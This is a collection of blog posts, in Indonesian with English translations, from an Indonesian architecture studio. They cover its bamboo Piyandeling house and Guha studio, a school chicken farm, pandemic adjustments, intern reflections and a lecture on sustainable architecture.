Kehidupan di studio berjalan seperti biasa, saya sendiri sangat bahagia dengan kondisi kehidupan kami. Saya merasa perjalanan berarsitektur memiliki tahapan – tahapan. Dari jujur berproses saya pikir tim desain akan semakin solid, informasi akan merata dan detail tektonika pun akan semakin kaya. Di balik semua karya yang saya desain saya beranggapan bahwa arsitek dikenal dari karya – karyanya yang sebenarnya ada dalam hitungan jari, jadi membangun portfolio akan semakin penting. Itulah latar depan dari konstelasi kehidupan arsitek, yaitu karya atau proyek yang memiliki klien dan kehidupan di baliknya.
Kehidupan di studio berjalan seperti biasa, saya sendiri sangat bahagia dengan kondisi kehidupan kami. Saya merasa perjalanan berarsitektur memiliki tahapan – tahapan. Dari jujur berproses saya pikir tim desain akan semakin solid, informasi akan merata dan detail tektonika pun akan semakin kaya. Di balik semua karya yang saya desain saya beranggapan bahwa arsitek dikenal dari karya – karyanya yang sebenarnya ada dalam hitungan jari, jadi membangun portfolio akan semakin penting. Itulah latar depan dari konstelasi kehidupan arsitek, yaitu karya atau proyek yang memiliki klien dan kehidupan di baliknya. Selain itu yang tidak kalah pentingnya adalah latar belakang, kehidupan belakang panggung yang mendasari bagaimana saya menulis di blog ini sejak 2005. Saya percaya bahwa penting untuk para arsitek berbagi cerita mengenai orang ketiga, ekosistem di sekitar arsitek dan studio perancangannya. Kemarin kami mempublikasikan satu platform kami di IG(instagram) : GuhaTheGuild.
Selain itu yang tidak kalah pentingnya adalah latar belakang, kehidupan belakang panggung yang mendasari bagaimana saya menulis di blog ini sejak 2005. Saya percaya bahwa penting untuk para arsitek berbagi cerita mengenai orang ketiga, ekosistem di sekitar arsitek dan studio perancangannya. Kemarin kami mempublikasikan satu platform kami di IG(instagram) : GuhaTheGuild.
Saya melihat bagaimana apabila informasi yang dasar tersebut dibagikan dengan gratis, bukankah itu akan membantu banyak orang yang sedang mencari jalannya masing – masing ?
Mungkin sesederhananya mengkomunikasikan kenapa arsitektur itu begitu dahsyat, dan berharga. Dan juga sesederhana berbagi bagaimana membangun ekosistem, mengapresiasi satu sama lain di dalam tim, sesama kolega. Dan sesederhanananya juga pentingnya merefleksikan diri, sadar bahwa setiap saat memulai kembali proyek, membangun tim, adalah saat meletakkan harga diri kita sebagai arsitek, dan turun untuk melayani dengan sepenuh hati.
Platform GuhaTheGuild : Setiap arsitek memiliki rahasia – rahasianya sendiri, dan begitupun ekosistem di sekitar arsitek dan studio perancangannya. Kemarin tim saya mempublikasikan satu platform kami di IG(instagram) : GuhaTheGuild. Saya melihat bagaimana apabila informasi yang dasar tersebut dibagikan dengan gratis, bukankah itu akan membantu banyak orang yang sedang mencari jalannya masing – masing. Mungkin sesederhananya mengkomunikasikan kenapa arsitektur itu begitu dahsyat, dan berharga. Dan juga sesederhana berbagi bagaimana membangun ekosistem, mengapresiasi satu sama lain di dalam tim, sesama kolega. Dan sesederhanananya juga pentingnya merefleksikan diri, sadar bahwa setiap saat memulai kembali proyek, membangun tim, adalah saat meletakkan harga diri kita sebagai arsitek, dan turun untuk melayani dengan sepenuh hati. Difollow ya yang tertarik. :)
Kira – kira dua minggu yang lalu tim Apple TV datang ke rumah, dan mereka mendokumentasikan bagaimana saya dan tim bekerja, termasuk menghabiskan waktu bersama Laurensia, Miracle dan Heaven. Di dalam proses pengambilan momen tersebut berlangsung selama hampir 2 minggu, setiap harinya saya perlu siap jam 6 pagi. Dari situ saya melihat proses sprint atau kerja tim kelas dunia (selayaknya atlit olimpiade) yang berjumlah hampir 20 -30 orang setiap harinya. Mereka bekerja sangat cepat, kompak, dan hal – hal tersebut dijalankan dengan effortless. Saya berdiskusi dengan sang sutradara dan produser yang berbagi cerita mereka yang akan kita bahas di lain waktu. Mereka ini adalah para nominator penghargaan sekelas academy award.
Di dalam salah satu diskusi dengan mereka, saya bercerita mengenai bagaimana pentingnya kandang ayam di Alfa Omega untuk pengembangan sekolah ke depannya, dan satu saat setelah break, satu orang berbisik di sebelah saya.
“Pak, biasanya kalau beternak ayam, akan habis semua, sampai akhirnya sukses.” ” Habis semua pak ?” jawab saya. “Iya, mati semua” jawab orang tersebut. Dari situ saya sadar bahwa saya perlu memberitahukan bu Lisa, perlu bersiap – siap. Satu hal yang negatif akan menjalar, mulai dari hal yang sederhana, bersiap – siap memperhatikan hal – hal yang detail.
“Gimana bu hasil peternakannya hari ini ?”
“Puji Tuhan pak 400 telur siap di tray hari ini”
“Laurensia pun siap dengan sapaan di pagi hari ini ke relasi kami untuk membantu Bu Lisa, telur sudah siap ada 400 telur hari ini.”
Dari cerita studio, dan cerita tentang bu Lisa, memberikan inspirasi kepada saya bahwa cerita Guha yang dimulai di Piyandeling, di The Guild, dan yang sebuah gua itu bisa jadi cerita untuk bu lisa yang sedang membangun Guhanya di Alfa Omega. Dari situ saya memikirkan apabila kita membangun arsip digital transformasi belakang pangung dari proses kreatif berkarya kami, mungkin hal ini bisa lebih bermanfaat untuk banyak orang.
Saya belajar bahwa selebih – lebihnya orang yang memberi, rejeki dari Nya tidak akan kurang sedikitpun. Jangan pernah berhenti memberi karena dibalik itu masa surga yang penuh dengan berkat.
Catatan Levi Gunardi : “Tidak ada yang lebih membahagiakan dari para petani ketika musim panen tiba. Sesuatu yang ditunggu-tunggu dari awal, jerih payah yang telah mereka tuang sepenuhnya adalah untuk masa ini.”
Hari ini Laurensia berulang tahun, dan kami sudah mendapatkan berkat berlimpah dengan anak – anak yang memberikan kebahagiaan. Laurensia, Miracle dan Heaven muncul. Kami merayakan ulang tahun Laurensia dengan sederhana, ia sudah berumur 39 tahun di tanggal 22 Mei. Miracle menyapa menghampiri untuk memeluk,
ia berkata “Papa”
Celoteh seperti itu sudah cukup untuk membuat saya berhenti menulis. Pikiran saya menerawang kembali ke perjalanan kembali ke Piyandeling.
What is future ? sometimes it’s covered by uncertainty.feeling architecture by touching it’s surface and beyond skin deepby knowing fragility of architecture. It can evolve to unlimited Bricolages.
Translate to English
“Pak Amud, please excavate this with a diameter of 3 m, I want to try to see the bottom of the fill soil, until the soil is hard, as far as I know, Pak Eddy dug up to 2 meters and built almost 2 m of retaining sheeting.”
The Piyandeling project has difficulties due to its location at the top of a hill, it is difficult to find labor and its location is far from the crowds. I tried them – experimental designs using bamboo and concrete reinforcement, to what extent, this drum shape can withstand, and is expressive in its simple “one way” language. This one go is basically like once pouring concrete, we have gained the structural strength, aesthetics, and function of the room.
At the time of construction at the base of the concrete wall there was a river stone which was already there. Piyandeling itself is a game of primitive language, the language of the platonic form. Behind the simplicity there is beauty to be understood by the people who visit.
Like the repertoire of songs Fragment and Tembang Alit Indonesia beautifully played by Gillian Geraldine, a song composed by Jaya Suprana. The repertoire in architecture is also related to experiments – experiments on new adaptations (For example, in architecture known as tectonic detail – tectonic), a unique movement that has never happened while also referring to traditional records that make the collaboration of the two to form Fragments. Architecture also flows like a river like Tembang Alit. It’s like in architecture known for the method that flows without limits, an effort to realize daily adaptation, Bricolage.
The morning after I prayed and meditated, sometimes a call came up. From reminding to maintain a diet, reminding not to forget to check this project, this detail, and don’t forget the room for Laurensia, Miracle and Heaven. Like the cave being built in Piyandeling this is an attempt to find warmth, thermals, as well as programs, and experiences, as well as materiality. This room is the warmest prayer room in Piyandeling built with the warmth of bamboo craftsmen.
“Mom, how many eggs are ready today?” Mrs. Lisa replied, “Yesterday we got 80 sir, today 210.” In the past few months, we have seen each other quite often.
The chicken eggs we’re talking about come from the chicken farm at the Alfa Omega school. About a year ago, when the pandemic arrived, Mrs. Lisa told how she got inspiration from someone who has succeeded in developing a farm to help her orphanage, named Pak Gaspar. From there, Mrs. Lisa invited me to visit the farm. “Miss Lisa, you have helped me a lot, sir, now I want to help mother.” This sentence came up when I asked him how he was related to Mrs. Lisa.
These questions are important to ask before starting the chicken coop project which begins by asking relevant questions, about who started, how to start, and what are the things that might hinder. Such information is important for establishing context, how one thing is formed and how one thing affects another. From that I can learn, to appreciate the process of growing requires strong roots.
One time I was discussing with Laurensia about how Mrs. Lisa was struggling to run her laying hens farm in Alfa Omaga. One moment later Laurensia contacted some of our relatives, our mother, to help sell eggs from alpha omega. These little things started from my and Laurensia’s sympathy to Mrs. Lisa and her family and seeing how she fought for the Alpha Omega school. We help, we don’t need to be paid, sometimes we see Mrs. Lisa as well, helping without paying anything. A principle of Javanese philosophy,, Rame ing gawe,sepi ing pamrih, memayu hayuning bawono (working hard, helping selflessly, preserving the universe/controlling lust).
The first day, you can sell 80 eggs, then 150 eggs, and then 200 eggs. “There are 4 laying hens that died, sir,” said Mrs. Lisa one morning, the eggs were too big so they couldn’t come out. These things happened successively.
Nassim Nicholas Taleb in the book Black Swan writes about unexpected things that change future projections. This is also discussed by Malcolm Gladwell in Tipping point where there are small things that trigger a jump in the next events. In the context of this chicken coop project, prediction and anticipation are very important at the beginning of starting a business. Simply put, there are events that are beyond our will, our power as someone who is running in the career, business ecosystem, personal. And there are also events that arise because of careful preparation, predictable with consistency. This maturity arises from good technical preparation, neat, easy to implement, efficient and critical. These things are the beginning of the creative process. I discussed with Mrs. Lisa the importance of cleaning the coop, paying attention to the chickens, and replacing the 4 chickens that died.
Life in the studio went on as usual, I myself was very happy with our living conditions. I feel that the architectural journey has stages. From the honest process, I think the design team will be more solid, the information will be evenly distributed and the tectonic details will be richer. Behind all the works that I design I think that architects are known from their works that are actually on the fingers, so building a portfolio will be even more important. That is the foreground of the constellation of the architect’s life, namely the work or project that has a client and a life behind it.
Besides that, what is no less important is the background, the backstage life that underlies how I write on this blog since 2005. I believe that it is important for architects to share stories about third people, the ecosystem around architects and their design studios. Yesterday we published one of our platforms on IG(instagram): GuhaTheGuild.
I see how if the basic information is shared for free, won’t it help many people who are looking for their own way?
It may be as simple as communicating why architecture is so powerful, and valuable. And also as simple as sharing how to build an ecosystem, appreciating each other in the team, fellow colleagues. And simply as important as self-reflection, knowing that every moment of restarting a project, building a team, is a time to put down our pride as architects, and come down to serve with all our heart.
About two weeks ago the Apple TV team came to the house, and they documented how the team and I worked, including spending time with Laurensia, Miracle and Heaven. In the process of capturing the moment it lasted for almost 2 weeks, every day I needed to be ready at 6 am. From there I saw the sprint process or world-class team work (like Olympic athletes) which amounted to almost 20 -30 people every day. They work very fast, are compact, and they are executed effortless. I discussed with the director and producer who shared their stories which we will discuss at a later time. These are the nominees for the academy award class.
In one of the discussions with them, I talked about how important the chicken coop at Alfa Omega is for the future development of the school, and one moment after the break, one person whispered next to me.
“Sir, usually if you raise chickens, it will be all gone, until you finally succeed.” “Is it all over, sir?” answer me. “Yes, all dead” replied the man. From there I realized that I needed to tell Mrs. Lisa, I needed to get ready. One negative thing will spread, starting from simple things, get ready to pay attention to details.
“How’s the farm today, ma’am?”
“Praise God pack 400 eggs are ready in the tray today”
“Laurensia is ready to greet our relatives this morning to help Mrs. Lisa, 400 eggs are ready today.”
From the studio’s story, and the story about Mrs. Lisa, it inspired me that Guha’s story which started in Piyandeling, at The Guild, and that a cave could be a story for Mrs. Lisa who is building Guhanya at Alfa Omega. From there, I thought that if we build a digital archive of behind-the-scenes transformation of our creative process, maybe this can be more useful for many people.
I learned that the more people who give, the sustenance from Him will not be lacking in the slightest. Never stop giving because behind it is a heaven full of blessings.
Today is Laurensia’s birthday, and we have been blessed with many happy children. Laurensia, Miracle and Heaven appeared. We celebrated Laurensia’s birthday in a simple way, she turned 39 on May 22. Miracle greets coming over for a hug,
Such babbling was enough to make me stop writing. My mind wandered back to the trip back to Piyandeling.
Time flies so fast. I just finished my internship program at RAW Architecture for 17 meaningful weeks. My internship experience started on 18th December 2020 when I saw RAW Architecture open an internship program. I am so thankful that RAW Architecture gave me opportunity to learn so many things as an architect. My first impression of RAW Architecture is little bit shocking because the work culture is so crazy. Everyone is working so fast and go home late at night. I thought that I can’t keep up with RAW’s working pace. In the end, I managed to through all the obstacles because everyone in the studio was so kind to help.
Before I work at RAW Architecture, I thought that architecture is only about conceptual design. After I work at RAW Architecture, I realized that architecture is a knowledge that so comprehensive. I learned so many things, not just how to design but all the details including communication skill toward clients.
My first project at RAW Architecture is Danau Biru Compound. I can’t forget the knowledge that Kak Realrich gave me about the existing house of Danau Biru. The spaces and the details of House at Danau Biru is so breathtaking. Danau Biru Compound is the only project that RAW Team gave me a task to make model. Although the model is not detail, I still learned the principle how to make model for client presentation.
The project that I involved a lot is House of Tjandra at Puri Botanical. I learned so many aspects in this project, not just the interior design principle but also the details that make the space is unique. One of my favorite moments is when I got the chance to design the swimming pool area. I was so surprised that Kak Realrich told me to refer to Carlo Scarpa’s Design for designing the swimming pool stair. Before I got this assignment, I thought that all swimming pool stair design is template but RAW Team taught me differently. Even is just a stair, we need to elevate the standard so that we can achieve a remarkable design.
To Conclude, I want to thank to Kak Realrich for letting me in this awesome office and also all of the associates and designer, Kak Ali, Kak Dini, Kak Riyan Kak Pandu, Kak Alvyan, Kak Thomas, Kak Timbul, Kak Vivi, Kak Erick, Kak Meimei, Kak Riko, Kak Khaffyd, Kak Fina, Kak Icha and Kak Alim for all the knowledge that I got. And last but not the least, the interns, Kak Icang, Caca, Avie, Joshi and Nielson for all the fun moments that we spend together. Thank you very much RAW, I wish you all the best.Best Regards,
Semburat cahaya menyinari dak lantai bambu di Piyandeling. Bayangan batang – batang bambu terpapar di lantai membentuk pola – pola batang – batang bambu yang berjajar, seperti metafora hutan bambu. Di balik latar terlihat susunan ramp yang melingkar memeluk tiang yang sekaligus berfungsi sebagai pemisah hubungan ruang privat. Ruang tersebut ada di lantai dasar yang terhubung dengan kebun dan wadah yang terbuka. Begitu masuk dari pintu utama, kita bisa melihat ramp dan dak bambu sebagai komposisi bangunan yang melayang di atas tanah, sebuah komposisi adaptasi dari bangunan tradisional Sunda, Imah Julang Ngapak. Ramp digunakan untuk proses memasuki ruang, sebagai sebuah wadah transisi. Elemen ini menyatukan sisi vertikal dan horisontal di bagian Piyandeling yang disebut Kujang. Atapnya menari naik dan turun, membentuk metafora seperti namanya, bentuk ini berkembang dari sekolah Alfa Omega sehingga bertransformasi seutuhnya dengan materialitas bambu seutuhnya.
Begitu masuk dari pintu utama, kita bisa melihat ramp dan dak bambu sebagai komposisi bangunan yang melayang di atas tanah, sebuah komposisi adaptasi dari bangunan tradisional Sunda, Imah Julang Ngapak. Ramp digunakan untuk proses memasuki ruang, sebagai sebuah wadah transisi. Ketukangan yang diolah disini adalah ketukangan tradisional Sunda yang dikembangkan oleh kawan – kawan tukang dari Sumedang. Ramp selebar 1 m ini pun juga demikian dengan bambu – bambu yang menjadi rangkanya yang juga berfungsi sebagai pegangan tangan dengan kesederhanaan konstruksi, bahasa pasak dan perekat.
Piyandeling dikerjakan oleh 4 orang pengrajin yang bekerja bereksperimen dengan ketukangan bambu, membuat elemen – elemen pintu – jendala putar, memanfaatkan bahan – bahan sampai tidak bersisa. Bentuk massanya sederhana, platonis dengan elemen yang terdiri dari bentuk – bentuk alam. Ketukangan yang diolah disini adalah ketukangan tradisional rumah Sunda yang dikembangkan oleh kawan – kawan tukang dari Sumedang. Ramp selebar 1 m ini pun juga demikian dengan bambu – bambu yang menjadi rangkanya yang juga berfungsi sebagai pegangan tangan dengan kesederhanaan konstruksi, bahasa pasak dan perekat.
Piyandeling dikerjakan oleh 4 orang pengrajin yang bekerja bereksperimen dengan ketukangan bambu, membuat elemen – elemen pintu – jendala putar, memanfaatkan bahan – bahan sampai tidak bersisa.
Satu kawan saya, Anas mengingatkan ketika kami berdiskusi soal pentingnya proses, ia berkata “Terkadang kita lupa untuk bersyukur dibalik seluruh proses yang ada, ia melanjutkan,
“KAS ( Ki Ageng Suryomentaram) itu seperti Bima dlm cerita Dewa Ruci…Bima yg benar2 ada…Ya dia mencari kebenaran gk ke mana2. Ya dari dirinya sendiri. Betul. Kan ceritanya perjalanan jauh, tp itu hanya kiasan. Justru diri sendiri ini yg sebenarnya sangat jauh. Krn orang sering lupa, sibuk meniru orang lain. Jika kamu menghadap ke utara, apa yg paling jauh di utara sana ? Ya punggungmu, karena bumi ini bulat. Lawan terkuat sebetulnya ya diri sendiri. Kalo dari sloki (tahap kemabukkan) ya sloki ke 10: dasa buta (nama tingkatan kemabukkan terakhir) … mati. Balik nol lagi. Maka di Jawa yg utama adalah Slamet (selamat), bukan bener (benar).“
Berbeda dengan Guha yang ada di Jakarta, Piyandeling menggunakan elemen tradisional dan mencoba mendekati desain dari sudut pandang ketukangan tradisional. Sedangkan Guha menggunakan adaptasi antar material industri dan fiber. Guha melambangkan kota dengan gemuruh kompleksitas rumah petak di dalamnya, kehidupan studio yang intensif, efisiensi, kecepatan, presisi, konsep-ide-gambar-membangun. Dan, Piyandeling melambangkan ketenangan desa dengan kedamaian yang sunyi.
Guha menggunakan adaptasi antar material industri dan fiber. Guha melambangkan kota dengan gemuruh kompleksitas rumah petak di dalamnya, kehidupan studio yang intensif, efisiensi, kecepatan, presisi, konsep-ide-gambar-membangun. Berbeda dengan Guha yang ada di Jakarta, Piyandeling menggunakan elemen tradisional dan mencoba mendekati desain dari sudut pandang ketukangan tradisional. Piyandeling melambangkan ketenangan desa dengan kedamaian yang sunyi.
Laurensia mengingatkan setiap harinya untuk tidak lupa bersyukur, membicarakan setiap permasalahan di dalam saat – saat kami makan bersama. Di saat – saat itu saya bisa menghargai kualitas waktu yang sungguh menjadi sangat berharga sekarang ini.
Beberapa hari terakhir ini juga, saya berdiskusi cukup intensif dengan tim internal studio, beberapa desainer, craftsmen, dan para advisor. Keseluruh-lapisan yang ada memiliki curahan hati yang berbeda. Saya bangun pagi – pagi hanya untuk menyelesaikan sketsa – sketsa dan menyusun jadwal di hari itu, kemudian di jam 09.00 desainer, pustakawan, admin mulai datang saya sering menyapa mereka di pagi hari “gimana progressmu, apa semua pekerjaan lancar ?” Saya hanya ingin memastikan apa mereka mengalami kesulitan.
Sejauh ini perimeter kami masih aman, dan meskipun keluarga anak – anak studio kami juga ada yang terkena Covid, namun Puji Tuhan semua orang, kerabat masih sehat, dan berangsur – angsur kembali normal dengan penyesuaian, tanpa kurang suatu apapun. Sering kali saya lupa bahwa kehidupan manusia begitu rapuhnya yang terkadang mengagetkan kita dengan senda gurau dan tawa air mata. Foto oleh gabby (IG: veronica.capture)
Prinsip keselamatan ini, diwarnai dengan saat – saat kami saling mengapreasiasi satu sama lain, di dalam studio sekarang, kami mengadakan acara selamatan berupa hari apresiasi. Di satu hari itu kami memilih satu orang yang terbaik dari 3 divisi berbeda, desain, administrasi, dan perpustakaan. Di saat tersebut, orang – orang bergantian memberikan testimonial terhadap orang tersebut. Momentum tersebut seperti titik kompas, kembali ke titik awal, bagaimana sesederhananya bekerja adalah proses untuk belajar, mengapresiasi dan mengenali diri sendiri. Di dalam acara tersebut saya juga memberikan apresiasi bonus dan meminta Farhan untuk merekamnya untuk kebersamaan.
Kira – kira setahun yang lalu pandemi Covid ini mulai muncul di Indonesia. Saya pikir Covid ini setidaknya sedikit membawa refleksi di dalam tim studio kami. Setidaknya filosofi ini menjadi penting, untuk menyadari bahwa masih diberikan kesehatan, rejeki, dan waktu berkumpul keluarga atau teman terdekat. Munculnya kesadaran akan merasa lebih dari cukup sungguhlah proses yang berharga. Saya ingat waktu itu kira – kira sore hari, saya mengumpulkan anak – anak studio . Saya menanyakan apa ada kemungkinan anak – anak studio untuk pulang ke rumah masing – masing.
Baru satu hari sebelum pertemuan tersebut di satu tahun yang lalu, saya mengecek grafik kematian di Korea dan China yang signifikan, Singapore, dan beberapa negara lainnya. Presiden Joko Widodo pun mengumumkan 3 kasus pertama di Indonesia. Di saat itulah saya sadar, pandemi sudah di depan mata. Setelah itu 3 cluster pun terbentuk, seperti cluster pertama untuk yang tinggal di The Guild, cluster kedua untuk yang tinggal di luar The Guild, anak – anak bekerja dengan masker diperimeter The Guild. Cluster ketiga adalah anak – anak yang bekerja dari jarak jauh.
Tahap pertama saya perlu mengamankan arus kas yang ada di studio. Kami memecah waktu kerja menjadi setengah – setengah untuk satu minggu. Dan bergantian ada yang masuk penuh, karena perlu menjaga putaran keuangan untuk memberikan THR secara penuh dan menjaga arus kas untuk 6 bulan ke depan dengan minimnya proyek yang ada. Baru 5 bulan kemudian, situasi berangsur – angsur pulih.
Sejauh ini perimeter kami masih aman, dan meskipun keluarga anak – anak studio kami juga ada yang terkena Covid, namun Puji Tuhan semua orang, kerabat masih sehat, dan berangsur – angsur kembali normal dengan penyesuaian, tanpa kurang suatu apapun. Sering kali saya lupa bahwa kehidupan manusia begitu rapuhnya yang terkadang mengagetkan kita dengan senda gurau dan tawa air mata.
ke-Slamet-an penting sebagai basis landasan untuk maju ke tahapan selanjutnya. Hal ini terlihat di dalam proses Tumpeng, atau manifest Tumpang Sari yang bertahap – tahap melangkah untuk hal yang lebih baik. Sejak Pandemi datang, akar semakin kuat, relasi semakin nyata, jembatan saling menyambung, dan saya bisa ucapkan Terima Kasih Tuhan.
Tumpang Sari di Guha The Guild : ke-Slamet-an penting sebagai basis landasan untuk maju ke tahapan selanjutnya. Hal ini terlihat di dalam proses Tumpeng, atau manifest Tumpang Sari yang bertahap – tahap melangkah untuk hal yang lebih baik. Sejak Pandemi datang, akar semakin kuat, relasi semakin nyata, jembatan saling menyambung, dan saya bisa ucapkan Terima Kasih Tuhan.
Lisa Sanusi bercerita mengenai tumpang menumpang di dalam ceritanya soal Nasi Tumpeng yang pada hakikatnya menumpang satu sama lain menjadi jembatan yang teranyam kuat.
Ia menulis “Tumpeng menceritakan … susunan anak tangga demi anak tangga kehidupan yang akan kita naiki … betapa tingginya dan dalamnya sebuah perjalanan … tumpeng harus punya dasar yang kokoh dan kuat untuk menopang sampai kepuncak panggilan, dihiasi dengan banyak hal kehidupan yang kita bisa nikmati …
ada banyak rasa dan warna berjuta rasa dan asa … dalam kehidupan … bulat bentuknya menandakan kebulatan hati dan tekad ….
sahabat yang jarak tempuh jauh seperti jembatan teranyam kuat satu… hati kami berpaut…”
Satu saat ketika saya kembali ke Piyandeling dan menatap langit – langit, memahami lompatan selanjutnya, Laurensia memanggil “Yang yuk makan, sebentar lagi kita kembali lagi ke Jakarta.” Guha sudah memanggil dari kejauhan dengan gaung dan gemanya.
. Terima kasih Guha dan Piyandeling, pengrajin dan keseluruhan tim sudah membantu membangunnya. Satu saat ketika saya kembali ke Piyandeling dan menatap langit – langit, memahami lompatan selanjutnya, Laurensia memanggil “Yang yuk makan, sebentar lagi kita kembali lagi ke Jakarta.” Guha sudah memanggil dari kejauhan dengan gaung dan gemanya. Di antara dua kutub Guha dan Piyandeling, pelajaran dimulai kembali. Foto terakhir adalah foto spesial karena ada Mang Uyu (ditengah) ibaratnya beliau adalah kapten bambu dari Sumedang dengan ketukangannya. Mang Saniin di bawah, Mang Rojak di kanan, Mang Dede di belakang. .
Foto terakhir adalah foto spesial karena ada Mang Uyu (ditengah) ibaratnya beliau adalah kapten bambu dari Sumedang dengan ketukangannya. Mang Saniin di bawah, Mang Rojak di kanan, Mang Dede di belakang. Lisa Sanusi bercerita mengenai tumpang menumpang di dalam ceritanya soal Nasi Tumpeng yang pada hakikatnya menumpang satu sama lain menjadi jembatan yang teranyam kuat. Ia menulis “Tumpeng menceritakan … susunan anak tangga demi anak tangga kehidupan yang akan kita naiki … betapa tingginya dan dalamnya sebuah perjalanan … tumpeng harus punya dasar yang kokoh dan kuat untuk menopang sampai kepuncak panggilan, dihiasi dengan banyak hal kehidupan yang kita bisa nikmati … ada banyak rasa dan warna berjuta rasa dan asa … dalam kehidupan … bulat bentuknya menandakan kebulatan hati dan tekad …. sahabat yang jarak tempuh jauh seperti jembatan teranyam kuat satu… hati kami berpaut…” Sejak Pandemi datang, akar semakin kuat, relasi semakin nyata, jembatan saling menyambung, dan saya bisa ucapkan Terima Kasih Tuhan.
Founded in 2011, RAW Architecture (Realrich Architecture Workshop) is a ground-breaking design studio comprising of architects, thinkers, and craftsmen. Realrich Architecture Workshop serves at the core of the ecosystem of sustainable design and practice in Indonesia.
The studio consists of collaboration and dialogue between three platforms that forms an ecosystem of creatives.
Firstly, RAW Architecture explores the method of sustainable design and relationships between context and materiality. The process includes exercises and methods from studio to craftsmen and workshop. With only a small team, the practice delivers unique, relevant, and climate-responsive buildings advanced from collaborative research and explorations that form a methodology.
Secondly, the craftsman’s laboratory explores the art of building construction as it is implemented by the artisan. This platform amplifies the quality of the work by its innovation and experimentation of the techniques and details of various traditional and modern building materials.
Lastly, the thinkers, in the form of Omah Library contribute to research, explore literacy developments and book publishing, and hosts hundreds of periodical public seminars for people inside and outside the studio. This platform showcases its purpose to nourish the ecosystem of architecture discourse publicly.
In each project the client comes first and is an equal partner. The culture in the studio allows everyone from designers and clients to explore the innovative and efficient practices at the core of sustainable design. With only a small multidisciplinary collaborative team, the practice delivers unique, relevant, and climate-responsive buildings advanced from collaborative research and explorations.
Guha is located in a high density urban area and has been designed to accommodate living, working space, and dental clinics.
The design approach to the project balances three main aspects. Firstly the economy: referring to the use of local craftsmen and a local manufacturing industry. Secondly, through social interaction and forming an ecosystem between architects, architecture, local craftsmen and the manufacturing industry. Lastly the environment and seeking to reduce emissions and the carbon footprints from construction activities through the implementation of local materials and on-site assembly.
Guha has been designed as climate responsive to tropical weather that has high rainfall, intense sunlight and humidity.
The orientation of the rooms of the building is important with a solid bathroom wall on the top floor (east to west) to protect from the sun, with a gathering room in the middle and bedroom at the eastern end. In addition, landscape elements were vital with shade trees placed in the west as protection from light and wind.
In Guha, the humidity factor is resolved with cross ventilation and the stack effect, which is inspired by traditional Javanese house construction, tumpang sari. The principle is to use a transparent material on the top surface, supported by stacked square shape conicals that become smaller at the top and form a thin cavity to allow wind to be expelled at the rooftop.
Besides a living and working space, Guha is also a learning environment that includes omah library, a space for book publishing and a place for discussion.
RAW was the first architectural firm I knew and visited as architecture students. 2017, Kak Rio Sanjaya, my first studio assistant, took me on a small tour of the Guild, which was still under construction at that time. During the tour, I said in my heart, “I want to be here again.”
December 2020, the first time I saw an announcement of an internship programme at RAW, I was suddenly interested. After going through long and difficult thoughts, lots of considerations, especially we are still in this pandemic situation and I am in the last semester with final project, finally decided to try and got the opportunity. I feel very grateful, feel lucky and very happy.
Still remember exactly the first day, everyone was very welcoming, friendly and warm. For me, to be honest at first it was not easy to adapt. Moreover, still have online class to do and deadlines in college. Fortunately, colleagues at RAW are understanding and guide me very well. Every day, there are always new things that I learn. Starting from the way of thinking, designing, technical, programming, structure, working fast, and knowledge about architecture itself.
There are so many things that I got. From Mr. Realrich, I learned about the importance of discussion between colleagues, always listens to others including the interns. He reminds us to work neatly and structural. From him I learn that every design has a story, I learn details and technicalities, when we have to run and when we have to relax for a moment, how to think as an architect, and always be humble. It’s amazing, the figure of Mr. Realrich who is always surrounded by a lot of jobs, but still can manage it well and always passionate. And another thing that I admire, Mr. Realrich is always concerned about our health and appreciates all our work. So many new things that I have never got, and I just got here. Every day, I realized that there were still many things that actually I didn’t know.
Every day is a memorable day for me. Starting from visiting projects where I learned a lot about the build process, the workers who always cheerfully but still work profesionally, lunch and dinner together, sharing and joking, until the last day of my internship.
After my internship at RAW, I became aware that I was easily stressed out at work, panicked, sometimes rushed, less thorough and less tidy at work. So, after my internship from here, I learned to work more calmly, neatly, structured, more thorough and detailed.
Thank you very much, first to Mr. Realrich for the opportunity, to Mas Ali, Kak Thomas, Kak Ryan, Kak Pandu, Kak Timbul, Kak Rico, Kak Kaffyd for guiding and helping me when I was having trouble. Also to all RAW workers who welcomed and received me well. And finally to fellow interns, Panji, Mas Icang, Avi, Joshie, Nielson who most often sharing and help each other at work.
It is still hard to believe that I have completed 3 months of internship at the RAW office, a well-known studio with a lot of accomplishments. I will never forget those 88 memorable days in my life.
Bu Titin mengkontak saya untuk mengisi kuliah di Universitas Tarumanagara, bagian sejarah dan pemugaran. Saya menggunakan literasi untuk mengkontekstualkan apa yang sedang saya baca, mengerti dan berguna untuk praktik dan refleksi. Sejarah berguna sebagai kompas dan referensi kreatifitas di dalam berkarya.
Saya menulis prolog di bawah untuk acara kuliah tersebut.
“Architecture is sometimes interpreted as buildings or space in between, or body of theory. It’s a phantom, an unseen object of something apparent to sense but with no substantial existence. The Phantom actually greets and haunts us as traditions and technology. The sharing in here will focus on the paradoxes that creates bricolages of Architecture Fantasy in post modern era. It’s a way to use history for re-contextualizing the practice to be grounded or being radical to open unlimited possibilities of ideas.”
Saya terinspirasi dari bayangan yang dibentuk oleh matahari. Setiap orang di dalam melangkah akan menghasilkan jejak dan bayangan. Sejarah sendiri adalah bayang – bayang yang terus ada ketika melangkah. seakang – akan kita semua di dalam hidup ada di dalam perjalanan untuk menemukan matahari kita sendiri, berteduh dari bayang – bayang pepohonan, ataupun melindungi anak – anak kita dengan bayang – bayang. Saya akan memulai kuliah dengan kejadian – kejadian traumatis yang mempengaruhi arsitektur, bagaimana menarik diri untuk merekonsiliasikan trauma tersebut menjadikan lompatan untuk majunya peradaban, dan hal itu ditandai oleh arsitektur. Dibalik seluruh bayangan yang diciptakan dari trauma masa lalu, potensi untuk membuka kemungkinan baru masih terbentang dan hal tersebut bisa dimulai dari satu hal yang sederhana yaitu jujur kepada diri sendiri.
Wacana arsitektur berkelanjutan menjadi penting mengingat semakin tingginya degradasi lingkungan yang terjadi sebagai akibat dari manusia. Upaya-upaya meminimalkan dampak lingkungan ini disadari oleh banyak arsitek, yang dirumuskan sebagai kesadaran bersama-sama yang menjadi sebuah kesepakatan global. Arsitektur berkelanjutan disini dibahas dari lima titik kesadaran, yaitu pertama : kesadaran akan diri sendiri, kedua : kesadaran akan lingkungan sekitar, ketiga : kesadaran akan material, keempat : kesadaran akan strategi desain, dan ditutup di titik awal kelima yaitu : refleksi. Setiap titik awal tersebut diturunkan ke dalam 14 strategi arsitektur berkelanjutan dan akan dibahas satu demi satu.
